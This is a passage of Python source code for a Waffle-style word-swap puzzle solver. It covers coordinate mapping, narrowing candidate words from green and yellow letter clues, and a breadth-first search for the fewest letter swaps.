index stays the same\n VertIndex = (iSetIndex * 2) + 1 #the index goes up by 2 for every set, and we know we're in the second part here\n VertWord = iSuperIndex - iWordLen\n\n l_ReturnList = [[HorizWord,HorizIndex],[VertWord,VertIndex]]\n return l_ReturnList\n\ndef LetterIndextoGeneralCoords(Index:int,iWordLen:int,iNumOfWords:int) -> list:\n \"\"\"Takes an integer for the index in the storage string a letter is, and converts that to the coordinates it represents\"\"\"\n l_ReturnList = [None,None]\n #00 = [0,0]\n #01 = [1,0]\n #02 = [2,0]\n #03 = [3,0]\n #04 = [4,0]\n #05 = [0,1]\n #06 = [2,1]\n #07 = [4,1]\n #08 = [0,2]\n #20 = [4,4]\n #0, 6\n\n iSetLength = iWordLen+iNumOfWords\n #set index = which block of 8 are we in\n iSetIndex = Index // iSetLength\n #Super Index = which part of the block of 8 are we in\n iSuperIndex = Index - (iSetIndex*iSetLength)\n\n if Index >= ((iSetLength * (iNumOfWords-1))+iWordLen):\n return l_ReturnList #the index isn't valid at all\n elif Index < 0:\n return l_ReturnList\n x = None\n y = None\n if iSuperIndex < iWordLen:\n #we're in the first part, where it counts up normally\n x = iSuperIndex\n y = iSetIndex * 2\n else:\n #second part, x counts by 2s\n x = (iSuperIndex-iWordLen)*2\n y = (iSetIndex * 2)+1\n l_ReturnList = [x,y]\n return l_ReturnList\n\ndef CoordsToWordIndex(X:int,Y:int,iWordLen:int,iNumofWords:int) -> list:\n #0,0 = [[0,0][0,0]]\n #1,0 = [[0,1][None,None]]\n #2,0 = [[0,2][1,0]]\n #3,0 = [[0,3][None,None]]\n #4,0 = [[0,4][2,0]]\n #0,1 = [[None,None][0,1]]\n #1,1 = [[None,None][None,None]]\n #2,1 = [[None,None][1,1]]\n #3,1 = [[None,None][None,None]]\n #4,1 = [[None,None][2,1]]\n #0,2 = [[1,0][0,2]]\n #1,2 = [[1,1][None,None]]\n #2,2 = [[1,2][1,2]]\n #3,2 = [[1,3][None,None]]\n #4,2 = [[1,4][2,2]]\n #0,3 = [[None,None][0,3]]\n #1,3 = [[None,None][None,None]]\n #2,3 = [[None,None][1,3]]\n #3,3 = [[None,None][None,None]]\n #...\n #4,4 = [[2,4][2,4]]\n\n #if col is odd, there's no horizontal\n #if Row is odd, there's no vertical\n if Y % 2 == 0:\n #there is a horizontal\n HorizWord = Y // 2\n HorizIndex = X\n else:\n HorizIndex = None\n HorizWord = None\n if X % 2 == 0:\n #there is a vertical\n VertWord = X // 2\n VertIndex = Y\n else:\n VertIndex = None\n VertWord = None\n\n l_ReturnList = [[HorizWord,HorizIndex],[VertWord,VertIndex]]\n return l_ReturnList\n\ndef CoordsToStringIndex(X:int,Y:int,iWordLen:int,iNumofWords:int) -> int:\n iIndex = 0\n iIndex += (Y // 2) * (iWordLen+iNumofWords) #add in previous sets of 2 rows (Helpful if row is >= 2)\n if Y % 2 == 1: #odd row: 1,3\n iIndex += iWordLen #add in the previous row of 5\n iIndex += (X // 2)\n else:\n iIndex += X\n return iIndex\n\ndef SetLetters(sLetters:str,sColors:str,lHorizLetters:list,lVertLetters:list,lUnhomed:list):\n lFDsFound = []\n lUnhomed.clear()\n if not len(sLetters) == len(sColors):\n raise ValueError(\"Letters and Colors must be the same length.\")\n iWordLen = len(lHorizLetters[0])\n iNumOfWords = len(lHorizLetters)\n for i in range(len(sColors)):\n if sColors[i] == \"g\":\n l_LetterIndexes = LetterIndextoWordCoords(i,iWordLen,iNumOfWords)\n if l_LetterIndexes[0][0] != None:\n lHorizLetters[l_LetterIndexes[0][0]][l_LetterIndexes[0][1]] = sLetters[i]\n if l_LetterIndexes[1][0] != None:\n lVertLetters[l_LetterIndexes[1][0]][l_LetterIndexes[1][1]] = sLetters[i]\n elif sColors[i] == \"y\":\n currChar = sLetters[i]\n #check for \"funky dingo\" situations!\n lCoords = LetterIndextoWordCoords(i,iWordLen,iNumOfWords)\n lCrossroads = [] #fill with arrays holding the [x,y] of every crossroads in this word\n if lCoords[0][0] != None: #horizontal word\n y = lCoords[0][0] * 2\n for x in range(iWordLen):\n if isCrossroad(x,y):\n lCrossroads.append([x,y])\n if lCoords[1][0] != None: #vertical word\n x = lCoords[1][0] * 2\n for y in range(iWordLen):\n if isCrossroad(x,y):\n lCrossroads.append([x,y])\n #now: if the letter appears in both the vertical and horizontal, and both are yellow, we MIGHT have a funky dingo, and one of those letters should be added to \"unhomed\"\n #HOWEVER: if the letter appears in both, but only one is yellow, it CANNOT be at that crossroads. Maybe reduce the words here or let the actual reducer figure that out.\n #if the letter only appears on one side: we can't be sure. It's not a funky dingo, but the letter can be in that spot. No harm, no foul. Nothing to do or say, really.\n for j in range(len(lCrossroads)):\n currentCoords = lCrossroads[j]\n if [currentCoords[0],currentCoords[1],currChar] not in lFDsFound:\n if len(PossibleFunkyDingos(sLetters,sColors,iWordLen,iNumOfWords,currentCoords[0],currentCoords[1],currChar))>0:\n lUnhomed.append(currChar) #there's a possible funkydingo, so we might have an extra one of these letters around.\n lFDsFound.append([currentCoords[0],currentCoords[1],currChar])\n break #once we find one, we don't need to keep trying.\n pass\n else:\n lUnhomed.append(sLetters[i])\n\ndef PossibleFunkyDingos(sLetters:str,sColors:str,iWordLen:int, iNumOfWords:int, xCoord:int, yCoord:int, FindChar:str = None) -> list[str]:\n \"\"\"Takes in the current board state, takes an index in the boardstate to work on, and an optional character to exclusively search for.\\n\n Will then return a list of all possible funkyDingo situations for that crossroads\"\"\"\n #now: if the letter appears in both the vertical and horizontal, and both are yellow, we MIGHT have a funky dingo, and one of those letters should be added to \"unhomed\"\n #HOWEVER: if the letter appears in both, but only one is yellow, it CANNOT be at that crossroads. Maybe reduce the words here or let the actual reducer figure that out.\n #if the letter only appears on one side: we can't be sure. It's not a funky dingo, but the letter can be in that spot. No harm, no foul. Nothing to do or say, really.\n wordCoords = CoordsToWordIndex(xCoord,yCoord,iWordLen,iNumOfWords)\n if wordCoords[0][0] == None or wordCoords[1][0] == None:\n return [] #it's not even a crossroads, obviously not.\n elif sColors[CoordsToStringIndex(xCoord,yCoord,iWordLen,iNumOfWords)] == \"g\":\n return [] #it can't be a funkydingo because the crossroad is set...\n elif FindChar != None and sLetters[CoordsToStringIndex(xCoord,yCoord,iWordLen,iNumOfWords)] == FindChar:\n return [] #if it's not green, but the crossroads IS the letter we're concerned about, then we know it can't be that letter, so no FD.\n \n verticalYelChars = []\n HorizontalYelChars = []\n VerticalHasChar = False\n HorizontalHasChar = False\n for x in range(iWordLen):\n strIndex = CoordsToStringIndex(x,yCoord,iWordLen,iNumOfWords)\n if sColors[strIndex] == \"y\" and x != xCoord:\n if FindChar == None:\n HorizontalYelChars.append(sLetters[strIndex])\n elif sLetters[strIndex] == FindChar:\n HorizontalHasChar = True\n break\n for y in range(iWordLen):\n strIndex = CoordsToStringIndex(xCoord,y,iWordLen,iNumOfWords)\n if sColors[strIndex] == \"y\" and y != yCoord:\n if FindChar == None:\n verticalYelChars.append(sLetters[strIndex])\n elif sLetters[strIndex] == FindChar:\n VerticalHasChar = True\n break\n if VerticalHasChar and HorizontalHasChar:\n #POSSIBLE FUNKY DINGO!\n return [FindChar]\n elif FindChar == None:\n lOverlap = list(set(HorizontalYelChars) & set(verticalYelChars))\n if len(lOverlap) > 0:\n #Possible FunkyDingo(s)!\n return lOverlap\n return [] #if it gets here without returning, it's not possible.\n\ndef isCrossroad(x:int,y:int) -> bool:\n if x % 2 == 0 and y % 2 == 0:\n #both are even, and thus are crossroads.\n return True\n else:\n return False\n\ndef PossibleLettersAtLocation(X:int,Y:int,sLetters:str,sColors:str,lHorizLetters:list,lVertLetters:list,lHorizAnswers:list,lVertAnswers:list,lUnHomed:list):\n #if the letter is set in Hor/VertLetters, just return that\n #Otherwise: Find yellow letters that HAVE to be in that word (Yellows at [0,1] and [0,3] have to be in Horizontal word 0)\n #find yellow letters that COULD be in the word (connected rows/collumns)\n #add unhomed letters (Make sure they're not in that row/collumn)\n #dedupe\n #cross-reference with valid answers\n iWordLen = len(lHorizLetters[0])\n iNumOfWords = len(lHorizAnswers)\n\n l_WordLocations = CoordsToWordIndex(X,Y,iWordLen,iNumOfWords)\n if l_WordLocations[0][0] != None:\n if lHorizLetters[l_WordLocations[0][0]][l_WordLocations[0][1]] != \".\":\n return [lHorizLetters[l_WordLocations[0][0]][l_WordLocations[0][1]]]\n elif l_WordLocations[1][0] != None:\n if lVertLetters[l_WordLocations[1][0]][l_WordLocations[1][1]] != \".\":\n return [lVertLetters[l_WordLocations[1][0]][l_WordLocations[1][1]]]\n\n lAllowedLetters = []\n lNotAllowed = [] #to store stuff like the letter in the spot right now\n iLetterListLoc = CoordsToStringIndex(X,Y,iWordLen,iNumOfWords)\n lNotAllowed.append(sLetters[iLetterListLoc]) #if it's not set, then it's not green, and it can't be this letter.\n #check horizontal\n if l_WordLocations[0][0] != None:\n for i in range(iWordLen):\n iLetterIndex = CoordsToStringIndex(i,Y,iWordLen,iNumOfWords)\n if sColors[iLetterIndex] == \"y\":\n lAllowedLetters.append(sLetters[iLetterIndex])\n #if not i == X:\n # if sLetters[iLetterIndex] in lNotAllowed:\n # #Probably in here by mistake, remove it from notallowed\n # del lNotAllowed[lNotAllowed.index(sLetters[iLetterIndex])]\n elif not sColors[iLetterIndex] == \"g\": #if it's not yellow or green it's a white\n if not sLetters[iLetterIndex] in lAllowedLetters:\n lNotAllowed.append(sLetters[iLetterIndex])\n #check vertical\n if l_WordLocations[1][0] != None:\n for i in range(iWordLen):\n iLetterIndex = CoordsToStringIndex(X,i,iWordLen,iNumOfWords)\n if sColors[iLetterIndex] == \"y\":\n lAllowedLetters.append(sLetters[iLetterIndex])\n #if not i == Y:\n # if sLetters[iLetterIndex] in lNotAllowed:\n # #Probably in here by mistake, remove it from notallowed\n # del lNotAllowed[lNotAllowed.index(sLetters[iLetterIndex])]\n elif not sColors[iLetterIndex] == \"g\": #if it's not yellow or green it's a white\n if not sLetters[iLetterIndex] in lAllowedLetters: #could simply be the second occurance\n lNotAllowed.append(sLetters[iLetterIndex])\n lAllowedLetters.extend(lUnHomed)\n \n #find letters in possible answers\n lHorizAnsLetters = []\n if l_WordLocations[0][0] != None:\n leng = len(lHorizAnswers[l_WordLocations[0][0]])\n for i in range(leng):\n Char = lHorizAnswers[l_WordLocations[0][0]][i][l_WordLocations[0][1]]\n if not Char in lHorizAnsLetters:\n lHorizAnsLetters.append(Char)\n lVertAnsLetters = []\n if l_WordLocations[1][0] != None:\n leng = len(lVertAnswers[l_WordLocations[1][0]])\n for i in range(leng):\n Char = lVertAnswers[l_WordLocations[1][0]][i][l_WordLocations[1][1]]\n if not Char in lVertAnsLetters:\n lVertAnsLetters.append(Char)\n\n #find the crossover of all these lists\n l_CrossoverOfAnswers = []\n if (not lHorizAnsLetters == []) and (not lVertAnsLetters == []):\n #both are valid lists, find the crossover:\n l_CrossoverOfAnswers = list(set(lHorizAnsLetters) & set(lVertAnsLetters))\n elif not lHorizAnsLetters == []:\n l_CrossoverOfAnswers = lHorizAnsLetters\n elif not lVertAnsLetters == []:\n l_CrossoverOfAnswers = lVertAnsLetters\n \n l_Crossover = list(set(l_CrossoverOfAnswers) & set(lAllowedLetters))\n for i in range(len(l_Crossover)-1,-1,-1):\n if l_Crossover[i] in lNotAllowed:\n del l_Crossover[i]\n \n return l_Crossover\n\ndef ReducePossibleWords(sLetters:str,sColors:str,lHorizLetters:list,lVertLetters:list,l_HorizontalAnswers:list,l_VerticalAnswers:list,lUnHomed:list):\n iWordLen = len(l_HorizontalAnswers[0][0])\n iNumOfWords = len(l_HorizontalAnswers)\n DirtyBit = True\n while DirtyBit: #it's possible that reductions in answerlists on one side could impact the other, and why pass that up?\n DirtyBit = False\n #horizontal words\n for AnswerListIndex in range(iNumOfWords):\n yCoord = AnswerListIndex * 2\n sRegex = \"\"\n lRequiredLetters = []\n for x in range(wordLen):\n lPossibleLetters = PossibleLettersAtLocation(x,yCoord,sLetters,sColors,lHorizLetters,lVertLetters,l_HorizontalAnswers,l_VerticalAnswers,lUnHomed)\n if not lPossibleLetters == []: #this shouldn't ever be true, but *shrug*\n sRegex+=\"[\"\n for i in range(len(lPossibleLetters)):\n sRegex+= lPossibleLetters[i]\n sRegex+=\"]\"\n if len(lPossibleLetters) == 1:\n lAffectedWords = CoordsToWordIndex(x,yCoord,iWordLen,iNumOfWords)\n if lAffectedWords[0][0] != None:\n lHorizLetters[lAffectedWords[0][0]][lAffectedWords[0][1]] = lPossibleLetters[0]\n if lAffectedWords[1][0] != None:\n lVertLetters[lAffectedWords[1][0]][lAffectedWords[1][1]] = lPossibleLetters[0]\n else:\n print(\"ERROR!\")\n raise RuntimeError(\"There are no possible letters found at [\"+str(x)+\",\"+str(yCoord)+\"]\")\n\n if sColors[CoordsToStringIndex(x,yCoord,iWordLen,iNumOfWords)] == \"g\":\n lRequiredLetters.append(sLetters[CoordsToStringIndex(x,yCoord,iWordLen,iNumOfWords)]) #add the greens in case there's a double letter\n if x % 2 == 1: #odd x: 1,3: If it's yellow, it HAS to be in this word\n if sColors[CoordsToStringIndex(x,yCoord,iWordLen,iNumOfWords)] == \"y\":\n lRequiredLetters.append(sLetters[CoordsToStringIndex(x,yCoord,iWordLen,iNumOfWords)])\n newWordlist = reduce_Wordlist(l_HorizontalAnswers[AnswerListIndex], [], lRequiredLetters, sRegex)\n if not newWordlist == l_HorizontalAnswers[AnswerListIndex]:\n DirtyBit = True\n l_HorizontalAnswers[AnswerListIndex].clear()\n DeepExtend(l_HorizontalAnswers[AnswerListIndex],newWordlist)\n #vertical words\n for AnswerListIndex in range(iNumOfWords):\n xCoord = AnswerListIndex * 2\n sRegex = \"\"\n lRequiredLetters = []\n for y in range(wordLen):\n lPossibleLetters = PossibleLettersAtLocation(xCoord,y,sLetters,sColors,lHorizLetters,lVertLetters,l_HorizontalAnswers,l_VerticalAnswers,lUnHomed)\n if not lPossibleLetters == []: #this shouldn't ever be true, but *shrug*\n sRegex+=\"[\"\n for i in range(len(lPossibleLetters)):\n sRegex+= lPossibleLetters[i]\n sRegex+=\"]\"\n if len(lPossibleLetters) == 1:\n lAffectedWords = CoordsToWordIndex(xCoord,y,iWordLen,iNumOfWords)\n if lAffectedWords[0][0] != None:\n lHorizLetters[lAffectedWords[0][0]][lAffectedWords[0][1]] = lPossibleLetters[0]\n if lAffectedWords[1][0] != None:\n lVertLetters[lAffectedWords[1][0]][lAffectedWords[1][1]] = lPossibleLetters[0]\n else:\n print(\"ERROR!\")\n raise RuntimeError(\"There are no possible letters found at [\"+str(xCoord)+\",\"+str(y)+\"]\")\n if y % 2 == 1: #odd y: 1,3: If it's yellow, it HAS to be in this word\n if sColors[CoordsToStringIndex(xCoord,y,iWordLen,iNumOfWords)] == \"y\":\n lRequiredLetters.append(sLetters[CoordsToStringIndex(xCoord,y,iWordLen,iNumOfWords)])\n newWordlist = reduce_Wordlist(l_VerticalAnswers[AnswerListIndex], [], lRequiredLetters, sRegex)\n if not newWordlist == l_VerticalAnswers[AnswerListIndex]:\n DirtyBit = True\n l_VerticalAnswers[AnswerListIndex].clear()\n DeepExtend(l_VerticalAnswers[AnswerListIndex],newWordlist)\n #done reducing: do some cleanup:\n #write out all known letters:\n SetKnownLetters(l_HorizontalAnswers,l_VerticalAnswers, lHorizLetters, lVertLetters)\n\ndef BitListInc(BitList:list[int],MaxValues:list[int]) -> list:\n \"\"\"Increments Bitlist like a binary counter, but MaxValues holds the (noninclusive) maximum for each position\"\"\"\n BitList[len(BitList)-1] += 1\n for i in range(len(BitList)-1,0,-1):\n if BitList[i] >= MaxValues[i]:\n BitList[i] = 0\n BitList[i-1] += 1\n if BitList[0] >= MaxValues[0]:\n #Overflow!\n BitList[0] = 0\n return None\n return BitList\n\ndef ReduceByPlaying_Extensible(sLetters:str,l_HorizontalAnswers:list,l_VerticalAnswers:list,lHorizLetters:list,lVertLetters:list):\n \"\"\"Will try to see what combinations are actually possible and removing the words that aren't\"\"\"\n iWordLen = len(l_HorizontalAnswers[0][0])\n iNumOfWords = len(l_HorizontalAnswers)\n AllLetters = []\n for i in range(len(sLetters)):\n AllLetters.append(sLetters[i])\n lHorizAnsReduced = [[] for i in range(len(l_HorizontalAnswers))]\n lVertAnsReduced = [[] for i in range(len(l_VerticalAnswers))]\n RI = [0]*iNumOfWords\n CI = [0]*iNumOfWords\n RIMax = []\n for i in range(len(l_HorizontalAnswers)):\n RIMax.append(len(l_HorizontalAnswers[i]))\n CIMax = []\n for i in range(len(l_VerticalAnswers)):\n CIMax.append(len(l_VerticalAnswers[i]))\n\n while RI != None:\n tempFreeLetters = []\n DeepExtend(tempFreeLetters,AllLetters)\n try:\n for i in range(len(RI)):\n for char in l_HorizontalAnswers[i][RI[i]]:\n del tempFreeLetters[tempFreeLetters.index(char)]\n for i in range(len(CI)):\n for r in range(len(l_VerticalAnswers[i][CI[i]])):\n if r % 2 == 1: \n char = l_VerticalAnswers[i][CI[i]][r]\n del tempFreeLetters[tempFreeLetters.index(char)] #only delete the odd characters, as they're unaccounted for elsewhere\n else:\n lAffectedSections = CoordsToWordIndex(i*2,r,iWordLen,iNumOfWords)\n WordCheck = RI[lAffectedSections[0][0]]\n if l_VerticalAnswers[i][CI[i]][r] != l_HorizontalAnswers[lAffectedSections[0][0]][WordCheck][lAffectedSections[0][1]]:\n raise ValueError(\"This play is not possible.\")\n #if we get here, that means this set of words is a valid play\n for i in range(len(RI)):\n lHorizAnsReduced[i].append(l_HorizontalAnswers[i][RI[i]])\n for i in range(len(CI)):\n lVertAnsReduced[i].append(l_VerticalAnswers[i][CI[i]])\n except:\n pass\n #do the incrementing\n CI = BitListInc(CI,CIMax)\n if CI == None:\n CI = [0]*iNumOfWords\n RI = BitListInc(RI,RIMax)\n\n #at this point, we know the valid plays\n #dedupe the lists\n for i in range(len(lHorizAnsReduced)):\n lHorizAnsReduced[i] = list(set(lHorizAnsReduced[i]))\n l_HorizontalAnswers[i].clear()\n DeepExtend(l_HorizontalAnswers[i],lHorizAnsReduced[i])\n for i in range(len(lVertAnsReduced)):\n lVertAnsReduced[i] = list(set(lVertAnsReduced[i]))\n l_VerticalAnswers[i].clear()\n DeepExtend(l_VerticalAnswers[i],lVertAnsReduced[i])\n SetKnownLetters(l_HorizontalAnswers,l_VerticalAnswers, lHorizLetters, lVertLetters)\n\ndef SetKnownLetters(l_HorizontalAnswers:list[str], l_VerticalAnswers:list[str], lHorizLetters:list[str], lVertLetters:list[str]):\n iNumOfWords = len(l_HorizontalAnswers)\n iWordLen = len(l_HorizontalAnswers[0][0])\n for WordListIndex in range(iNumOfWords):\n if len(l_HorizontalAnswers[WordListIndex]) == 1:\n y = WordListIndex * 2\n for x in range(iWordLen):\n lAffectedWords = CoordsToWordIndex(x,y,iWordLen,iNumOfWords)\n if lAffectedWords[0][0] != None:\n lHorizLetters[lAffectedWords[0][0]][lAffectedWords[0][1]] = l_HorizontalAnswers[WordListIndex][0][x]\n if lAffectedWords[1][0] != None:\n lVertLetters[lAffectedWords[1][0]][lAffectedWords[1][1]] = l_HorizontalAnswers[WordListIndex][0][x]\n if len(l_VerticalAnswers[WordListIndex]) == 1:\n x = WordListIndex * 2\n for y in range(iWordLen):\n lAffectedWords = CoordsToWordIndex(x,y,iWordLen,iNumOfWords)\n if lAffectedWords[0][0] != None:\n lHorizLetters[lAffectedWords[0][0]][lAffectedWords[0][1]] = l_VerticalAnswers[WordListIndex][0][y]\n if lAffectedWords[1][0] != None:\n lVertLetters[lAffectedWords[1][0]][lAffectedWords[1][1]] = l_VerticalAnswers[WordListIndex][0][y]\n\ndef SolutionAsString(l_HorizLetters:list[str],l_VertLetters:list[str]) -> str:\n sOutput = \"\"\n iWordLen = len(l_HorizLetters[0])\n iNumOfWords = len(l_HorizLetters)\n for Row in range(iWordLen):\n if Row % 2 == 0: #even row, full length\n for i in range(len(l_HorizLetters[Row//2])):\n sOutput += l_HorizLetters[Row//2][i]\n else: #odd row, only vertical fills\n for i in range(iNumOfWords):\n sOutput += l_VertLetters[i][Row]\n return sOutput\n\ndef GetPerfectSwaps(lCurrentState:list[str], sTarget:str) -> list[int,int]:\n lReturnList = []\n for i in range(len(lCurrentState)-1): #no point in checking the last one, it was already checked against everyone else\n if lCurrentState[i] != sTarget[i] and sTarget[i] != \".\":\n wantedChar = sTarget[i]\n haveChar = lCurrentState[i]\n #get all possibilities\n for j in range(i+1,len(lCurrentState)): #only look forward. if it was behind us it would've been found already\n if lCurrentState[j] != sTarget[j]: #unlocked char\n if lCurrentState[j] == wantedChar and sTarget[j] == haveChar: #obvious swap, they belong in each other's spot\n newSwap = [i,j]\n newSwapReverse = [j,i]\n if not (newSwap in lReturnList or newSwapReverse in lReturnList): #already know this swap\n lReturnList.append(newSwap)\n return lReturnList\n\ndef GetOnlyOccuranceSwaps(lCurrentState:list[str], sTarget:str) -> list[int,int]:\n #Returns a list of swaps that only one letter of that kind is movable\n lReturnList = []\n lOutOfPlaceLetters = []\n for i in range(len(lCurrentState)):\n if lCurrentState[i] != sTarget[i]:\n lOutOfPlaceLetters.append(lCurrentState[i])\n\n for i in range(len(lOutOfPlaceLetters)):\n if lOutOfPlaceLetters.count(lOutOfPlaceLetters[i]) == 1:\n index = lCurrentState.index(lOutOfPlaceLetters[i])\n while lCurrentState[index] == sTarget[index]: #if this index is actually solved\n index = lCurrentState.index(lOutOfPlaceLetters[i],index+1) #find the next index\n\n if sTarget[index] != \".\":\n haveChar = lCurrentState[index]\n #there's only one place it can go if we get here, so just find it\n iIndexToPut = sTarget.index(haveChar)\n while lCurrentState[iIndexToPut] == sTarget[iIndexToPut]: #in case there's multiple letters, but this is the only unlocked one\n iIndexToPut = sTarget.index(haveChar,iIndexToPut+1) #find the next index\n #index found. prepare the swap.\n newSwap = [index,iIndexToPut]\n newSwapReverse = [iIndexToPut,index]\n if not (newSwap in lReturnList or newSwapReverse in lReturnList): #already know this swap. Shouldn't be possible, but whatevs\n lReturnList.append(newSwap)\n return lReturnList\n\ndef GetAllSwaps(lCurrentState:list[str], sTarget:str) -> list[int,int]:\n lSwaps = []\n for i in range(len(lCurrentState)-1):\n if lCurrentState[i] != sTarget[i] and sTarget[i] != \".\":\n wantedChar = sTarget[i]\n haveChar = lCurrentState[i]\n #l_Indexes = []\n \n for j in range(i+1,len(lCurrentState)):\n if lCurrentState[j] == wantedChar and sTarget[j] != wantedChar: #this is an out of place character and it's a character we're looking for\n newSwap = [i,j]\n newSwapReverse = [j,i]\n if not (newSwap in lSwaps or newSwapReverse in lSwaps): #already know this swap\n lSwaps.append(newSwap)\n #l_Indexes.append(j)\n\n #for k in range(len(l_Indexes)):\n # newSwap = [i,l_Indexes[k]]\n # newSwapReverse = [l_Indexes[k],i]\n # if not (newSwap in lSwaps or newSwapReverse in lSwaps): #already know this swap\n # lSwaps.append(newSwap)\n #\n # if sTarget[l_Indexes[k]] == haveChar: #obvious swap, they belong in each other's spot\n # newSwap = [i,l_Indexes[k]]\n # newSwapReverse = [l_Indexes[k],i]\n # if not (newSwap in lSwaps or newSwapReverse in lSwaps): #already know this swap\n # lSwaps.append(newSwap)\n # elif sTarget[l_Indexes[k]] == \".\":\n # #Swap is indeterminate, don't do it yet.\n # pass\n # elif len(l_Indexes) == 1: #or (k == len(l_Indexes)-1):\n # #kinda have to make this swap. it's the only possible option, or we've tried all the others.\n # newSwap = [i,l_Indexes[k]]\n # newSwapReverse = [l_Indexes[k],i]\n # if not (newSwap in lSwaps or newSwapReverse in lSwaps): #already know this swap\n # lSwaps.append(newSwap)\n return lSwaps\n\ndef GetPossibleSwaps_NoBoardState(lCurrentState:list[str], sTarget:str) -> list[int,int]:\n #check for perfect swaps, if none, find last resort swaps, if none, then you can feed them garbage.\n lReturnList = [] #[fromIndex,ToIndex] for each index\n lReturnList = GetPerfectSwaps(lCurrentState, sTarget)\n if len(lReturnList) > 0:\n return lReturnList\n #only get here if there's no perfect swaps left\n lReturnList = GetOnlyOccuranceSwaps(lCurrentState, sTarget)\n if len(lReturnList) > 0:\n return lReturnList\n #Finally: we must acept our fate and return any swap that works\n lReturnList = GetAllSwaps(lCurrentState, sTarget)\n return lReturnList\n\ndef BFS_SP(graph:dict[int,list], start:int, goal:int) ->list[int]:\n explored = []\n \n # Queue for traversing the\n # graph in the BFS\n queue = [[start]]\n \n # If the desired node is\n # reached\n if start == goal:\n return [start]\n \n # Loop to traverse the graph\n # with the help of the queue\n while queue:\n path = queue.pop(0)\n node = path[-1]\n \n # Condition to check if the\n # current node is not visited\n if node not in explored:\n neighbours = graph[node]\n \n # Loop to iterate over the\n # neighbours of the node\n for neighbour in neighbours:\n new_path = list(path)\n new_path.append(neighbour)\n queue.append(new_path)\n \n # Condition to check if the\n # neighbour node is the goal\n if neighbour == goal:\n return new_path\n explored.append(node)\n \n # Condition when the nodes\n # are not connected\n return None\n\ndef GetMinimumSwaps_graph_NBS(sLetters:str,l_HorizLetters:list[str],l_VertLetters:list[str]) -> list[int,int,str,int,int,str]:\n #have a set representing the connections\n #have a set of arrays holding the swaps, the current total cost, and the array setup at the moment.\n #if the array setup isn't the answer, add more options to it\n #once all nodes have been processed to their options or are a complete state, find the one with the lowest cost.\n #Follow the graph backwards to find the list of swaps neccesary\n iWordLen = len(l_HorizLetters[0])\n iNumOfWords = len(l_HorizLetters)\n sTarget = SolutionAsString(l_HorizLetters,l_VertLetters)\n lBoardState = []\n lTarget = []\n for char in sLetters:\n lBoardState.append(char)\n for char in sTarget:\n lTarget.append(char)\n \n #states = [[startingarray],[boardstate1]]\n #swaps = [[FromIndex,ToIndex],[FromIndex, ToIndex]]\n #setConnections = {0:[1,2],1:[2],2:[]}\n #setSwapIndexes = {0:[0,1],1:[2],2:[]} #0 connects to state[1] via swap[0] and state[2] via swap[1], 1 connects to state[2] via swap[2]\n setConnections = {0:[]}\n setSwapIndexes = {0:[]}\n lStates = deque()\n lStates.append(lBoardState)\n #for char in lBoardState:\n # lStates[0].append(char) #Wish I could've just said lStates = [lBoardState], but that makes a shallow copy that causes problems :D\n lSwaps = deque()\n qToBeProcessed = deque([0])\n goalIndex = None\n #iNextBigWarn = 0\n #LastUpdateConnections = 0\n #LastUpdateTime = time.time()\n while len(qToBeProcessed):\n #if len(qToBeProcessed) > 200 and iNextBigWarn <= 0:\n # print(\"\\n\")\n # print(\"Queue is\",len(qToBeProcessed),\"items long now.\")\n # print(len(setConnections),\"unique states have been found.\")\n # timeElapsed = time.time()-LastUpdateTime\n # CurrConnections = 0\n # for lis in setConnections:\n # CurrConnections += len(setConnections[lis])\n # NewConnections = CurrConnections - LastUpdateConnections\n # print(NewConnections,\"new connections.\")\n # print(\"(~\",NewConnections/timeElapsed,\"new connections/sec)\")\n # LastUpdateTime = time.time()\n # LastUpdateConnections = CurrConnections\n # iNextBigWarn = len(qToBeProcessed)//4\n #elif iNextBigWarn >= 1:\n # iNextBigWarn -= 1\n\n iCurrentNode = qToBeProcessed.popleft() #FIFO\n #while qToBeProcessed.count(iCurrentNode): #in case it got added multiple times. Shouldn't be possible, but... eh. It also adds another 2% to the processing time, so I'm removing it.\n # print(\"Duplicate Removed.\")\n # qToBeProcessed.remove(iCurrentNode)\n #lPossibleMoves = GetPossibleSwaps_NoBoardState(lStates[iCurrentNode],sTarget)\n #instead of calling the function, I've brought it in to do a bit more to it:\n lPossibleMoves = GetPerfectSwaps(lStates[iCurrentNode], sTarget)\n if len(lPossibleMoves) > 0:\n #only use one perfect swap so it can't balloon out. Verify the coords don't damage other perfect swaps if possible.\n #if the length is just one, it should pass right through.\n if len(lPossibleMoves) > 1:\n #lAllSwapSpots = []\n #for i in range(len(lPossibleMoves)):\n # lAllSwapSpots.append(lPossibleMoves[i][0])\n # lAllSwapSpots.append(lPossibleMoves[i][1])\n #selectedSwap = []\n #for i in range(len(lPossibleMoves)):\n # iFrom = lPossibleMoves[i][0]\n # iTo = lPossibleMoves[i][1]\n # if lAllSwapSpots.count(iFrom) == 1 and lAllSwapSpots.count(iTo) == 1:\n # break\n ##When the code gets here: it either found a non-interferring swap, OR it's the last swap in the list, and none were non-interferring. Either way, just take it.\n #all that code was removed because: by the time it gets here from smart solve, ALL new perfect swaps will be interferring since only one move is made at a time, so only one perfect swap can reveal itself.\n lPossibleMoves = [lPossibleMoves[0]] #make it the only swap. \n \n else:\n #only get here if there's no perfect swaps left\n lPossibleMoves = GetOnlyOccuranceSwaps(lStates[iCurrentNode], sTarget)\n if len(lPossibleMoves) == 0:\n #Finally: we must acept our fate and return any swap that works\n lPossibleMoves = GetAllSwaps(lStates[iCurrentNode], sTarget)\n\n\n lScratchState = []\n lScratchState = copy.deepcopy(lStates[iCurrentNode])\n #DeepExtend(lScratchState,lStates[iCurrentNode])\n for move in lPossibleMoves:\n swapIndex = None\n stateIndex = None\n\n #get swapIndex\n swapOrder1 = [move[0],move[1]]\n swapOrder2 = [move[1],move[0]]\n if swapOrder1 in lSwaps:\n swapIndex = lSwaps.index(swapOrder1)\n elif swapOrder2 in lSwaps:\n swapIndex = lSwaps.index(swapOrder2)\n else:\n swapIndex = len(lSwaps)\n lSwaps.append(swapOrder1)\n\n #get stateIndex\n LetterFrom = lScratchState[move[0]]\n LetterTo = lScratchState[move[1]]\n lScratchState[move[0]] = LetterTo\n lScratchState[move[1]] = LetterFrom\n if lScratchState in lStates:\n stateIndex = lStates.index(lScratchState)\n else:\n lTempState = copy.deepcopy(lScratchState)\n #DeepExtend(lTempState,lScratchState)\n stateIndex = len(lStates)\n lStates.append(lTempState)\n if lScratchState == lTarget and goalIndex == None:\n print(\"Goal Found!\")\n goalIndex = stateIndex\n #fix the state back to original\n lScratchState[move[1]] = LetterTo\n lScratchState[move[0]] = LetterFrom\n \n #now fill in the connections.\n 